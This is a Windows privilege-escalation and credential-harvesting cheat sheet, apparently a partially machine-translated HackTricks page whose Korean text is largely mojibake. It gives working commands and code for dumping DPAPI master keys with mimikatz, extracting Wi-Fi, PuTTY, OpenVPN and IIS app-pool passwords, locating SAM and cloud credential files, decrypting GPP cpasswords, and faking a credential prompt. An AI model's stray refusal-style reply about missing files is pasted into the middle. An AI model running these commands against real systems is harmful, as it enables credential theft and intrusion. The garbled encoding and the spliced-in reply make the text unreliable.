The Data Protection API (DPAPI) provides a method for symmetric encryption of data, predominantly used within the Windows operating system for the symmetric encryption of asymmetric private keys. This encryption leverages a user or system secret to significantly contribute to entropy.
DPAPI enables the encryption of keys through a symmetric key that is derived from the userโs login secrets. In scenarios involving system encryption, it utilizes the systemโs domain authentication secrets.
Encrypted user RSA keys, by using DPAPI, are stored in the %APPDATA%\Microsoft\Protect\{SID} directory, where {SID} represents the userโs Security Identifier. The DPAPI key, co-located with the master key that safeguards the userโs private keys in the same file, typically consists of 64 bytes of random data. (Itโs important to note that access to this directory is restricted, preventing listing its contents via the dir command in CMD, though it can be listed through PowerShell).
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
์ ์ ํ ์ธ์ (/pvk ๋๋ /rpc)์ ํจ๊ป mimikatz module dpapi::masterkey๋ฅผ ์ฌ์ฉํ์ฌ ์ด๋ฅผ ๋ณตํธํํ ์ ์์ต๋๋ค.
credentials files protected by the master password๋ ์ผ๋ฐ์ ์ผ๋ก ๋ค์ ์์น์ ์์ต๋๋ค:
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
You can use mimikatz module dpapi::cred with the appropiate /masterkey to decrypt.
๋ฃจํธ ๊ถํ์ด ์์ผ๋ฉด sekurlsa::dpapi ๋ชจ๋๋ก ๋ง์ DPAPI masterkeys๋ฅผ memory์์ ์ถ์ถํ ์ ์์ต๋๋ค.
PowerShell Credentials
PowerShell credentials๋ ์ํธํ๋ credentials๋ฅผ ํธ๋ฆฌํ๊ฒ ์ ์ฅํ๊ธฐ ์ํ scripting ๋ฐ ์๋ํ ์์ ์ ์์ฃผ ์ฌ์ฉ๋ฉ๋๋ค. ํด๋น credentials๋ DPAPI๋ก ๋ณดํธ๋๋ฉฐ, ์ผ๋ฐ์ ์ผ๋ก ์์ฑ๋ ๋์ผํ ์ฌ์ฉ์์ ๋์ผํ ์ปดํจํฐ์์๋ง ๋ณตํธํํ ์ ์์ต๋๋ค.
ํ์ผ์ ๋ค์ด์๋ PS credentials๋ฅผ decryptํ๋ ค๋ฉด ๋ค์์ ์คํํ๋ฉด ๋ฉ๋๋ค:
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
john
PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!
์์ดํ์ด
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
Saved RDP Connections
๋ค์ ๊ฒฝ๋ก์์ ์ฐพ์ ์ ์์ต๋๋ค: HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
๋ฐ HKCU\Software\Microsoft\Terminal Server Client\Servers\
์ต๊ทผ ์คํ๋ ๋ช ๋ น
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
์๊ฒฉ ๋ฐ์คํฌํฑ ์๊ฒฉ ์ฆ๋ช ๊ด๋ฆฌ์
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Use the Mimikatz dpapi::rdg module with appropriate /masterkey to **decrypt any .rdg files\ Mimikatz sekurlsa::dpapi` ๋ชจ๋๋ก ๋ฉ๋ชจ๋ฆฌ์์ ๋ง์ DPAPI masterkeys๋ฅผ ์ถ์ถํ ์ ์์ต๋๋ค.
Sticky Notes
์ฌ๋๋ค์ ์ข
์ข
Windows ์ํฌ์คํ
์ด์
์์ StickyNotes ์ฑ์ ์ฌ์ฉํด ๋ฐ์ดํฐ๋ฒ ์ด์ค ํ์ผ์ด๋ผ๋ ์ฌ์ค์ ๋ชจ๋ฅธ ์ฑ ๋น๋ฐ๋ฒํธ ๋ฐ ๊ธฐํ ์ ๋ณด๋ฅผ ์ ์ฅํฉ๋๋ค. ์ด ํ์ผ์ C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite์ ์์นํ๋ฉฐ ํญ์ ์ฐพ์๋ณด๊ณ ์กฐ์ฌํ ๊ฐ์น๊ฐ ์์ต๋๋ค.
AppCmd.exe
Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.
AppCmd.exe is located in the %systemroot%\system32\inetsrv\ directory.
์ด ํ์ผ์ด ์กด์ฌํ๋ฉด ์ผ๋ถ credentials๊ฐ ๊ตฌ์ฑ๋์ด ์๊ณ ๋ณต๊ตฌ๋ ์ ์์ต๋๋ค.
This code was extracted from PowerUP:
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
SCClient / SCCM
C:\Windows\CCM\SCClient.exe๊ฐ ์กด์ฌํ๋์ง ํ์ธํ์ธ์ .\
์ค์น ํ๋ก๊ทธ๋จ์ SYSTEM ๊ถํ์ผ๋ก ์คํ๋ฉ๋๋ค, ๋ง์ ํ๋ก๊ทธ๋จ์ด DLL Sideloading (์ ๋ณด ์ถ์ฒ https://github.com/enjoiz/Privesc).
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }
ํ์ผ ๋ฐ ๋ ์ง์คํธ๋ฆฌ (Credentials)
Putty Creds
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
Putty SSH ํธ์คํธ ํค
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
๋ ์ง์คํธ๋ฆฌ์ SSH keys
SSH private keys๋ ๋ ์ง์คํธ๋ฆฌ ํค HKCU\Software\OpenSSH\Agent\Keys ์์ ์ ์ฅ๋ ์ ์์ผ๋ฏ๋ก, ๊ทธ ์์ ํฅ๋ฏธ๋ก์ด ํญ๋ชฉ์ด ์๋์ง ํ์ธํด์ผ ํฉ๋๋ค:
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
ํด๋น ๊ฒฝ๋ก์์ ํญ๋ชฉ์ ์ฐพ์ผ๋ฉด ๋๋ถ๋ถ ์ ์ฅ๋ SSH ํค์ผ ๊ฐ๋ฅ์ฑ์ด ๋์ต๋๋ค. ์ด ํค๋ ์ํธํ๋์ด ์ ์ฅ๋์ด ์์ง๋ง https://github.com/ropnop/windows_sshagent_extract๋ฅผ ์ฌ์ฉํ๋ฉด ์ฝ๊ฒ ๋ณตํธํํ ์ ์์ต๋๋ค.
์ด ๊ธฐ์ ์ ๋ํ ์์ธํ ์ ๋ณด: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/
๋ง์ฝ ssh-agent ์๋น์ค๊ฐ ์คํ ์ค์ด ์๋๊ณ ๋ถํ
์ ์๋์ผ๋ก ์์๋๊ฒ ํ๋ ค๋ฉด ๋ค์์ ์คํํ์ธ์:
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
Tip
์ด ๊ธฐ๋ฒ์ ๋ ์ด์ ์ ํจํ์ง ์์ ๊ฒ ๊ฐ์ต๋๋ค. ๋ช ๊ฐ์ ssh ํค๋ฅผ ์์ฑํ๊ณ
ssh-add๋ก ์ถ๊ฐํ ๋ค ssh๋ก ๋จธ์ ์ ๋ก๊ทธ์ธํด๋ณด์์ต๋๋ค. ๋ ์ง์คํธ๋ฆฌ HKCU\Software\OpenSSH\Agent\Keys๊ฐ ์กด์ฌํ์ง ์์๊ณ procmon์ ๋น๋์นญ ํค ์ธ์ฆ ๊ณผ์ ์์dpapi.dll์ ์ฌ์ฉ์ ์๋ณํ์ง ๋ชปํ์ต๋๋ค.
๊ฐ์๋์ง ์์ ํ์ผ
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
๋ค์ ํ์ผ๋ค์ metasploit์ ์ฌ์ฉํ์ฌ ๊ฒ์ํ ์๋ ์์ต๋๋ค: post/windows/gather/enum_unattend
์์ ๋ด์ฉ:
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
SAM & SYSTEM ๋ฐฑ์
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
ํด๋ผ์ฐ๋ ์๊ฒฉ ์ฆ๋ช
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json
McAfee SiteList.xml
ํ์ผ ์ด๋ฆ์ด SiteList.xml์ธ ํ์ผ์ ์ฐพ์ผ์ธ์.
Cached GPP Password
์ด์ ์๋ Group Policy Preferences (GPP)๋ฅผ ํตํด ์ฌ๋ฌ ์ปดํจํฐ์ ์ปค์คํ ๋ก์ปฌ ๊ด๋ฆฌ์ ๊ณ์ ์ ๋ฐฐํฌํ ์ ์๋ ๊ธฐ๋ฅ์ด ์์์ต๋๋ค. ๊ทธ๋ฌ๋ ์ด ๋ฐฉ๋ฒ์๋ ์ฌ๊ฐํ ๋ณด์ ๊ฒฐํจ์ด ์์์ต๋๋ค. ์ฒซ์งธ, Group Policy Objects (GPOs)๋ SYSVOL์ XML ํ์ผ๋ก ์ ์ฅ๋๋ฉฐ ๋ชจ๋ ๋๋ฉ์ธ ์ฌ์ฉ์๊ฐ ์ ๊ทผํ ์ ์์์ต๋๋ค. ๋์งธ, ์ด๋ฌํ GPP ๋ด๋ถ์ ๋น๋ฐ๋ฒํธ๋ ๊ณต๊ฐ ๋ฌธ์ํ๋ ๊ธฐ๋ณธ ํค๋ก AES256์ผ๋ก ์ํธํ๋์ด ์์๊ณ , ์ธ์ฆ๋ ์๋ฌด ์ฌ์ฉ์๋ ์ด๋ฅผ ๋ณตํธํํ ์ ์์์ต๋๋ค. ์ด๋ ์ฌ์ฉ์๊ฐ ๊ถํ ์์น์ ์ป์ ์ ์๋ ์ฌ๊ฐํ ์ํ์ ์ด๋ํ์ต๋๋ค.
์ด ์ํ์ ์ํํ๊ธฐ ์ํด, โcpasswordโ ํ๋๊ฐ ๋น์ด ์์ง ์์ ๋ก์ปฌ์ ์บ์๋ GPP ํ์ผ์ ๊ฒ์ํ๋ ํจ์๊ฐ ๊ฐ๋ฐ๋์์ต๋๋ค. ํด๋น ํ์ผ์ ์ฐพ์ผ๋ฉด ํจ์๋ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณตํธํํ๊ณ ์ฌ์ฉ์ ์ ์ PowerShell ๊ฐ์ฒด๋ฅผ ๋ฐํํฉ๋๋ค. ์ด ๊ฐ์ฒด์๋ GPP ๋ฐ ํ์ผ ์์น์ ๋ํ ์ ๋ณด๊ฐ ํฌํจ๋์ด ์์ด ํด๋น ๋ณด์ ์ทจ์ฝ์ ์ ์๋ณํ๊ณ ์์ ํ๋ ๋ฐ ๋์์ด ๋ฉ๋๋ค.
Search in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (previous to W Vista) for these files:
- Groups.xml
- Services.xml
- Scheduledtasks.xml
- DataSources.xml
- Printers.xml
- Drives.xml
cPassword๋ฅผ ๋ณตํธํํ๋ ค๋ฉด:
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
crackmapexec๋ฅผ ์ฌ์ฉํ์ฌ passwords๋ฅผ ์ป๊ธฐ:
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
IIS ์น ๊ตฌ์ฑ
Get-Childitem โPath C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem โPath C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem โPath C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
์๊ฒฉ ์ฆ๋ช ์ด ํฌํจ๋ web.config์ ์:
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
OpenVPN ์๊ฒฉ ์ฆ๋ช
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
๋ก๊ทธ
# IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem โPath C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
credentials ์์ฒญํ๊ธฐ
๋น์ ์ ๊ทธ๊ฐ ์๊ณ ์์ ๊ฒ์ด๋ผ๊ณ ์๊ฐ๋๋ฉด ์ธ์ ๋ ์ง ์ฌ์ฉ์์๊ฒ ์์ ์ credentials ๋๋ ๋ค๋ฅธ ์ฌ์ฉ์์ credentials๋ฅผ ์ ๋ ฅํ๋๋ก ์์ฒญํ ์ ์๋ค (์ฐธ๊ณ ๋ก, ํด๋ผ์ด์ธํธ์๊ฒ ์ง์ ์์ฒญํ์ฌ credentials๋ฅผ ๋ฐ๋ ๊ฒ์ ์ ๋ง ์ํํ๋ค):
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl
credentials๋ฅผ ํฌํจํ ๊ฐ๋ฅ์ฑ์ด ์๋ ํ์ผ๋ช
๊ณผ๊ฑฐ์ passwords๋ฅผ clear-text ๋๋ Base64๋ก ํฌํจํ๊ณ ์์๋ ์๋ ค์ง ํ์ผ๋ค
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
I donโt have access to your files. Please either:
- Paste the contents of src/windows-hardening/windows-local-privilege-escalation/README.md here, or
- Provide a public repo URL and the exact path so I can fetch it.
Then I will translate the English text to Korean while preserving all markdown, tags, links, paths, and code as you requested.
cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem โPath C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
ํด์งํต์ ์๊ฒฉ ์ฆ๋ช
๋ํ ํด์งํต์ ํ์ธํ์ฌ ๊ทธ ์์ ์๊ฒฉ ์ฆ๋ช ์ด ์๋์ง ์ดํด๋ด์ผ ํฉ๋๋ค
์ฌ๋ฌ ํ๋ก๊ทธ๋จ์ ์ ์ฅ๋ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณต๊ตฌํ๋ ค๋ฉด ๋ค์์ ์ฌ์ฉํ ์ ์์ต๋๋ค: http://www.nirsoft.net/password_recovery_tools.html
๋ ์ง์คํธ๋ฆฌ ๋ด๋ถ
์๊ฒฉ ์ฆ๋ช ์ ํฌํจํ ์ ์๋ ๋ค๋ฅธ ๋ ์ง์คํธ๋ฆฌ ํค
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
Extract openssh keys from registry.
๋ธ๋ผ์ฐ์ ๊ธฐ๋ก
๋น๋ฐ๋ฒํธ๊ฐ Chrome or Firefox์ ์ ์ฅ๋ db๋ฅผ ํ์ธํด์ผ ํฉ๋๋ค.
๋ํ ๋ธ๋ผ์ฐ์ ์ ๊ธฐ๋ก, ๋ถ๋งํฌ ๋ฐ ์ฆ๊ฒจ์ฐพ๊ธฐ๋ฅผ ํ์ธํ์ธ์. ์ผ๋ถ ๋น๋ฐ๋ฒํธ๊ฐ ๊ทธ๊ณณ์ ์ ์ฅ๋์ด ์์ ์ ์์ต๋๋ค.
Tools to extract passwords from browsers:
- Mimikatz:
dpapi::chrome - SharpWeb
- SharpChromium
- SharpDPAPI
COM DLL Overwriting
**Component Object Model (COM)**์ Windows ์ด์์ฒด์ ์ ํฌํจ๋ ๊ธฐ์ ๋ก, ์๋ก ๋ค๋ฅธ ์ธ์ด๋ก ์์ฑ๋ ์ํํธ์จ์ด ๊ตฌ์ฑ ์์ ๊ฐ์ ์ํธ ํต์ ์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค. ๊ฐ COM ๊ตฌ์ฑ ์์๋ **identified via a class ID (CLSID)**๋ก ์๋ณ๋๋ฉฐ ๊ฐ ๊ตฌ์ฑ ์์๋ ํ๋ ์ด์์ ์ธํฐํ์ด์ค๋ฅผ ํตํด ๊ธฐ๋ฅ์ ๋ ธ์ถํ๊ณ , ํด๋น ์ธํฐํ์ด์ค๋ **identified via interface IDs (IIDs)**๋ก ์๋ณ๋ฉ๋๋ค.
COM classes and interfaces are defined in the registry under HKEY\CLASSES\ROOT\CLSID and HKEY\CLASSES\ROOT\Interface respectively. This registry is created by merging the HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.
Inside the CLSIDs of this registry you can find the child registry InProcServer32 which contains a default value pointing to a DLL and a value called ThreadingModel that can be Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) or Neutral (Thread Neutral).
.png)
Basically, if you can overwrite any of the DLLs that are going to be executed, you could escalate privileges if that DLL is going to be executed by a different user.
To learn how attackers use COM Hijacking as a persistence mechanism check:
ํ์ผ ๋ฐ ๋ ์ง์คํธ๋ฆฌ์์์ ์ผ๋ฐ์ ์ธ ๋น๋ฐ๋ฒํธ ๊ฒ์
ํ์ผ ๋ด์ฉ ๊ฒ์
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
ํน์ ํ์ผ ์ด๋ฆ์ ๊ฐ์ง ํ์ผ ๊ฒ์
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
๋ ์ง์คํธ๋ฆฌ์์ ํค ์ด๋ฆ๊ณผ ๋น๋ฐ๋ฒํธ๋ฅผ ๊ฒ์ํ์ธ์
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
๋น๋ฐ๋ฒํธ๋ฅผ ๊ฒ์ํ๋ ๋๊ตฌ
MSF-Credentials Plugin msf ํ๋ฌ๊ทธ์ธ์ผ๋ก, ์ ๊ฐ ๋ง๋ ์ด ํ๋ฌ๊ทธ์ธ์ ํผํด์ ์์คํ
๋ด๋ถ์์ credentials๋ฅผ ๊ฒ์ํ๋ ๋ชจ๋ metasploit POST ๋ชจ๋์ ์๋์ผ๋ก ์คํํ๋๋ก ์ค๊ณ๋์์ต๋๋ค.
Winpeas์ ์ด ํ์ด์ง์ ์ธ๊ธ๋ ๋น๋ฐ๋ฒํธ๋ฅผ ํฌํจํ ๋ชจ๋ ํ์ผ์ ์๋์ผ๋ก ๊ฒ์ํฉ๋๋ค.
Lazagne์ ์์คํ
์์ ๋น๋ฐ๋ฒํธ๋ฅผ ์ถ์ถํ๋ ๋ ๋ค๋ฅธ ํ๋ฅญํ ๋๊ตฌ์
๋๋ค.
๋๊ตฌ SessionGopher๋ ์ด ๋ฐ์ดํฐ๋ฅผ ํ๋ฌธ์ผ๋ก ์ ์ฅํ๋ ์ฌ๋ฌ ํด(PuTTY, WinSCP, FileZilla, SuperPuTTY, RDP)์ sessions, usernames ๋ฐ passwords๋ฅผ ๊ฒ์ํฉ๋๋ค.
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Leaked Handlers
์์ํด๋ณด์: SYSTEM์ผ๋ก ์คํ๋๋ ํ๋ก์ธ์ค๊ฐ OpenProcess()๋ก ์ ํ๋ก์ธ์ค๋ฅผ ์ฐ๋ค (๊ถํ: full access). ๊ฐ์ ํ๋ก์ธ์ค๋ ๋ํ CreateProcess()๋ก low privileges๋ฅผ ๊ฐ์ง ์ ํ๋ก์ธ์ค๋ฅผ ์์ฑํ๋๋ฐ, ์ด ํ๋ก์ธ์ค๋ ๋ฉ์ธ ํ๋ก์ธ์ค์ ๋ชจ๋ ์ด๋ฆฐ handles๋ฅผ ์์๋ฐ๋๋ค.
๊ทธ๋ ๋ค๋ฉด, ๋ง์ฝ ๋น์ ์ด low privileged process์ ๋ํด full access๋ฅผ ๊ฐ์ง๊ณ ์๋ค๋ฉด, OpenProcess()๋ก ์์ฑ๋ ๊ถํ ์๋ ํ๋ก์ธ์ค์ ๋ํ ์ด๋ฆฐ ํธ๋ค์ ํ๋ํ๊ณ shellcode๋ฅผ ์ฃผ์
ํ ์ ์๋ค.
Read this example for more information about how to detect and exploit this vulnerability.
Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).
Named Pipe Client Impersonation
๊ณต์ ๋ฉ๋ชจ๋ฆฌ ์ธ๊ทธ๋จผํธ, ์ผ๋ฐ์ ์ผ๋ก pipes๋ผ ๋ถ๋ฆฌ๋ ๊ฒ๋ค์ ํ๋ก์ธ์ค ๊ฐ ํต์ ๊ณผ ๋ฐ์ดํฐ ์ ์ก์ ๊ฐ๋ฅํ๊ฒ ํ๋ค.
Windows๋ Named Pipes๋ผ๋ ๊ธฐ๋ฅ์ ์ ๊ณตํ๋ฉฐ, ๊ด๋ จ ์๋ ํ๋ก์ธ์ค๋ค์กฐ์ฐจ ์๋ก ๋ฐ์ดํฐ๋ฅผ ๊ณต์ ํ ์ ์๊ณ ์ฌ์ง์ด ๋ค๋ฅธ ๋คํธ์ํฌ ์์์๋ ๋์ํ๋ค. ์ด๋ ํด๋ผ์ด์ธํธ/์๋ฒ ์ํคํ ์ฒ์ ์ ์ฌํ๋ฉฐ ์ญํ ์ named pipe server์ named pipe client๋ก ์ ์๋๋ค.
